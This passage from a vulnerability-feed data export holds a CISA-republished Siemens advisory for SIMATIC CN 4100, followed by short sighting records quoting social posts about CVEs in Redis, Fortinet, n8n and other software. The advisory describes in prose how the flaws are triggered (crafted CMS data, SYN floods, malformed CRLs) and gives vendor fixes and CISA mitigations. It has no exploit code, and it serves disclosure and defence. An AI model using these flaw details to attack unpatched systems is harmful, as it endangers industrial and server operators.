class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.1\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21945\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-400 Uncontrolled Resource Consumption\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21947\n<div class=\"csaf-accordion-content\">\n\nVulnerability in Oracle Java SE (component: JavaFX). Supported versions that are affected are Oracle Java SE: 8u471-b50. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 3.1 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n3.1\nLOW\nCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-22924\n<div class=\"csaf-accordion-content\">\n\nThe affected application does not properly restrict unauthenticated connections and is susceptible to resource exhaustion conditions. This could allow an attacker to disrupt normal operations or perform unauthorized actions, potentially impacting system availability and integrity.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-306 Missing Authentication for Critical Function\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.1\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-22925\n<div class=\"csaf-accordion-content\">\n\nThe affected application is susceptible to resource exhaustion when subjected to high volume of TCP SYN packets This could allow an attacker to render the service unavailable and cause denial-of-service conditions by overwhelming system resources.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-770 Allocation of Resources Without Limits or Throttling\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28387\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An uncommon configuration of clients performing DANE TLSA-based server authentication, when paired with uncommon server DANE TLSA records, may result in a use-after-free and/or double-free on the client side. Impact summary: A use after free can have a range of potential consequences such as the corruption of valid data, crashes or execution of arbitrary code. However, the issue only affects clients that make use of TLSA records with both the PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate usage. By far the most common deployment of DANE is in SMTP MTAs for which RFC7672 recommends that clients treat as 'unusable' any TLSA records that have the PKIX certificate usages. These SMTP (or other similar) clients are not vulnerable to this issue. Conversely, any clients that support only the PKIX usages, and ignore the DANE-TA(2) usage are also not vulnerable. The client would also need to be communicating with a server that publishes a TLSA RRset with both types of TLSA records. No FIPS modules are affected by this issue, the problem code is outside the FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28388\n<div class=\"csaf-accordion-content\">\n\nIssue summary: When a delta CRL that contains a Delta CRL Indicator extension is processed a NULL pointer dereference might happen if the required CRL Number extension is missing. Impact summary: A NULL pointer dereference can trigger a crash which leads to a Denial of Service for an application. When CRL processing and delta CRL processing is enabled during X.509 certificate verification, the delta CRL processing does not check whether the CRL Number extension is NULL before dereferencing it. When a malformed delta CRL file is being processed, this parameter can be NULL, causing a NULL pointer dereference. Exploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in the verification context, the certificate being verified to contain a freshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and an attacker to provide a malformed CRL to an application that processes it. The vulnerability is limited to Denial of Service and cannot be escalated to achieve code execution or memory disclosure. For that reason the issue was assessed as Low severity according to our Security Policy. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28389\n<div class=\"csaf-accordion-content\">\n\nIssue summary: During processing of a crafted CMS EnvelopedData message with KeyAgreeRecipientInfo a NULL pointer dereference can happen. Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service. When a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is processed, the optional parameters field of KeyEncryptionAlgorithmIdentifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing. Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28390\n<div class=\"csaf-accordion-content\">\n\nIssue summary: During processing of a crafted CMS EnvelopedData message with KeyTransportRecipientInfo a NULL pointer dereference can happen. Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service. When a CMS EnvelopedData message that uses KeyTransportRecipientInfo with RSA-OAEP encryption is processed, the optional parameters field of RSA-OAEP SourceFunc algorithm identifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing. Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-31789\n<div class=\"csaf-accordion-content\">\n\nIssue summary: Converting an excessively large OCTET STRING value to a hexadecimal string leads to a heap buffer overflow on 32 bit platforms. Impact summary: A heap buffer overflow may lead to a crash or possibly an attacker controlled code execution or other undefined behavior. If an attacker can supply a crafted X.509 certificate with an excessively large OCTET STRING value in extensions such as the Subject Key Identifier (SKID) or Authority Key Identifier (AKID) which are being converted to hex, the size of the buffer needed for the result is calculated as multiplication of the input length by 3. On 32 bit platforms, this multiplication may overflow resulting in the allocation of a smaller buffer and a heap buffer overflow. Applications and services that print or log contents of untrusted X.509 certificates are vulnerable to this issue. As the certificates would have to have sizes of over 1 Gigabyte, printing or logging such certificates is a fairly unlikely operation and only 32 bit platforms are affected, this issue was assigned Low severity. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-31790\n<div class=\"csaf-accordion-content\">\n\nIssue summary: Applications using RSASVE key encapsulation to establish a secret encryption key can send contents of an uninitialized memory buffer to a malicious peer. Impact summary: The uninitialized buffer might contain sensitive data from the previous execution of the application process which leads to sensitive data leakage to an attacker. RSA_public_encrypt() returns the number of bytes written on success and -1 on error. The affected code tests only whether the return value is non-zero. As a result, if RSA encryption fails, encapsulation can still return success to the caller, set the output lengths, and leave the caller to use the contents of the ciphertext buffer as if a valid KEM ciphertext had been produced. If applications use EVP_PKEY_encapsulate() with RSA/RSASVE on an attacker-supplied invalid RSA public key without first validating that key, then this may cause stale or uninitialized contents of the caller-provided ciphertext buffer to be disclosed to the attacker in place of the KEM ciphertext. As a workaround calling EVP_PKEY_public_check() or EVP_PKEY_public_check_quick() before EVP_PKEY_encapsulate() will mitigate the issue. The FIPS modules in 3.6, 3.5, 3.4, 3.3, 3.1 and 3.0 are affected by this issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-754 Improper Check for Unusual or Exceptional Conditions\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n</div>\n\n\n\nAcknowledgments\n\n\n\nSiemens ProductCERT reported these vulnerabilities to CISA.\n\n\n\n\nGeneral Recommendations\n\nAs a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity\n\n\n\nAdditional Resources\n\nFor further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories\n\n\n\nTerms of Use\n\nThe use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.\n\n\n\nLegal Notice and Terms of Use\n\nThis product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).\n\n\n\nRecommended Practices\n\nCISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.\n\nMinimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.\n\nLocate control system networks and remote devices behind firewalls and isolate them from business networks.\n\nWhen remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.\n\nCISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.\n\nCISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.\n\nCISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.\n\nOrganizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.\n\n\n\nAdvisory Conversion Disclaimer\n\nThis ICSA is a verbatim republication of Siemens ProductCERT SSA-032379 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided \"as-is\" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.\n\nRevision History\n\n\n\nInitial Release Date: 2026-05-12\n\n\n\n\n\nDate\nRevision\nSummary\n\n\n\n\n2026-05-12\n1\nPublication Date\n\n\n2026-05-14\n2\nInitial CISA Republication of Siemens ProductCERT SSA-032379 advisory\n\n\n\n\n\n\nLegal Notice and Terms of Use", "creation_timestamp": "2026-05-14T10:00:00.000000Z"}, {"uuid": "a35b7286-4499-4933-9f2e-04d9f7b619bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21730", "type": "seen", "source": "https://cert.pl/en/posts/2026/05/CVE-2026-21730", "content": "", "creation_timestamp": "2026-05-14T07:00:00.000000Z"}, {"uuid": "64c4b8f6-11b0-4add-8ed1-e3d4bc8c609a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21863", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mm5cg6627k2c", "content": "Redis has two critical CVEs (CVE-2025-67733 & CVE-2026-21863) on Debian. Here is your practical guide: check your version, apply the fix, or mitigate with ACLs and iptables.  Read more -> tinyurl.com/3kzpbaj7  #Debiar #Security", "creation_timestamp": "2026-05-18T16:31:41.902683Z"}, {"uuid": "9605e9ac-9165-43e4-aad1-254e65bccd64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21863", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mm5cgbfax22c", "content": "Redis has two critical CVEs (CVE-2025-67733 & CVE-2026-21863) on Debian. Here is your practical guide: check your version, apply the fix, or mitigate with ACLs and iptables.  Read more -> tinyurl.com/3kzpbaj7  #Debiar #Security", "creation_timestamp": "2026-05-18T16:31:42.643571Z"}, {"uuid": "84d72393-0184-4625-b18e-b6e4dbba4901", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21863", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mm5cgf5cqk2c", "content": "Redis has two critical CVEs (CVE-2025-67733 & CVE-2026-21863) on Debian. Here is your practical guide: check your version, apply the fix, or mitigate with ACLs and iptables.  Read more -> tinyurl.com/3kzpbaj7  #Debiar #Security", "creation_timestamp": "2026-05-18T16:31:43.347681Z"}, {"uuid": "30a08f6b-d2d1-4edc-874a-e8ea8733d441", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21891", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-18)", "content": "", "creation_timestamp": "2026-05-18T00:00:00.000000Z"}, {"uuid": "2216fecb-ab50-47d0-8afe-bc5d7010aa83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21441", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mmbyjyaod22w", "content": "The CVE-2026-21441 \"decompression bomb\" shows why patches aren't enough.  Read more -> tinyurl.com/mr3f58e7", "creation_timestamp": "2026-05-20T13:18:04.468749Z"}, {"uuid": "9c254bce-d0ab-4e79-8f19-67ed2ed4a383", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21441", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mmbyjwpows2w", "content": "The CVE-2026-21441 \"decompression bomb\" shows why patches aren't enough.  Read more -> tinyurl.com/mr3f58e7", "creation_timestamp": "2026-05-20T13:18:03.915877Z"}, {"uuid": "4c8c8965-5c33-4262-9314-e3e859231ea1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21441", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mmbyk373sk2w", "content": "The CVE-2026-21441 \"decompression bomb\" shows why patches aren't enough.  Read more -> tinyurl.com/mr3f58e7", "creation_timestamp": "2026-05-20T13:18:05.053946Z"}, {"uuid": "24c36796-7cab-411d-934a-a5d14a00a849", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://t.me/CyberDispatch/736", "content": "Fortinet Fixes Critical FortiClientEMS RCE (CVE-2026-21643, CVSS 9.1).\n\nSQL injection flaw enables unauthenticated remote command execution via crafted requests. Affects EMS 7.4.4 (patch available).\n\nSeparate FortiCloud SSO bug is actively exploited for admin persistence and firewall config theft.", "creation_timestamp": "2026-08-29T20:00:21.589860Z"}, {"uuid": "b79ba8ac-6acb-4d05-92ac-58219db298db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21836", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmca3tnonx2q", "content": "CVE-2026-21836 - HCL DominoIQ is affected by broken access control\nCVE ID : CVE-2026-21836\n \n Published : May 20, 2026, 1:37 p.m. | 37\u00a0minutes ago\n \n Description : The HCL DominoIQ RAG feature is\u00a0affected by\u00a0a Broken Access Control vulnerability. \u00a0Under certain circumstances, ...", "creation_timestamp": "2026-05-20T15:33:15.162655Z"}, {"uuid": "5add7983-a42c-4928-97f7-75b2ef96b51d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://t.me/CyberDispatch/689", "content": "Fortinet Fixes Critical FortiClientEMS RCE (CVE-2026-21643, CVSS 9.1).\n\nSQL injection flaw enables unauthenticated remote command execution via crafted requests. Affects EMS 7.4.4 (patch available).\n\nSeparate FortiCloud SSO bug is actively exploited for admin persistence and firewall config theft.", "creation_timestamp": "2026-08-29T20:00:22.236240Z"}, {"uuid": "bd688d42-1be9-4fcc-a4a6-5326a3f700c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://t.me/CyberDispatch/598", "content": "Microsoft rushed out out-of-band fixes for an actively exploited Office zero-day.\n\nCVE-2026-21509 (CVSS 7.8) lets attackers bypass Office security using a malicious file that must be opened by the victim.", "creation_timestamp": "2026-08-29T20:00:23.098404Z"}, {"uuid": "a3ed79cf-67af-4f71-ac82-fe1e3ea8b27d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21440", "type": "seen", "source": "https://t.me/CyberDispatch/483", "content": "AdonisJS users are being advised to patch a critical flaw in adonisjs/bodyparser.\n\nCVE-2026-21440 (CVSS 9.2) allows arbitrary file writes via path traversal when upload filenames aren\u2019t explicitly sanitized.", "creation_timestamp": "2026-08-29T20:00:23.863439Z"}, {"uuid": "c4c42fb4-d61b-475d-b2b6-f505084eb0ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-21)", "content": "", "creation_timestamp": "2026-05-21T00:00:00.000000Z"}, {"uuid": "50ed508f-91a1-44e3-94ca-4b9fbc3eafeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "https://t.me/CyberDispatch/468", "content": "Another CVSS 10.0 n8n vulnerability disclosed.\n\nResearchers found another critical flaw (CVE-2026-21858) in n8n that lets remote attackers take full control with no authentication required.\n\nThe bug abuses Content-Type handling in form webhooks to read local files, steal secrets, forge admin sessions, and achieve RCE.", "creation_timestamp": "2026-08-29T20:00:24.042193Z"}, {"uuid": "2e9fdd93-b38b-4068-891a-35f41666e5cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21877", "type": "seen", "source": "https://t.me/CyberDispatch/478", "content": "Warning - Yet another n8n vulnerability.\n\nn8n disclosed a CVSS 10.0 RCE flaw allowing authenticated users to execute untrusted code and fully compromise an instance.\n\nCVE-2026-21877 affects cloud and self-hosted deployments running versions \u22650.123.0 and <1.121.3.", "creation_timestamp": "2026-08-29T20:00:24.080090Z"}, {"uuid": "dfbe0cc5-bea1-4bc8-8678-0a16971236c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21440", "type": "seen", "source": "https://t.me/CyberDispatch/453", "content": "AdonisJS users are being advised to patch a critical flaw in adonisjs/bodyparser.\n\nCVE-2026-21440 (CVSS 9.2) allows arbitrary file writes via path traversal when upload filenames aren\u2019t explicitly sanitized.", "creation_timestamp": "2026-08-29T20:00:24.171966Z"}, {"uuid": "c0b854cd-8f1a-48b0-81d2-88b1b13e9fc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21011", "type": "seen", "source": "https://t.me/GithubRedTeam/96519", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Log4j #CVE #JNDI\n\n\ud83d\udce6 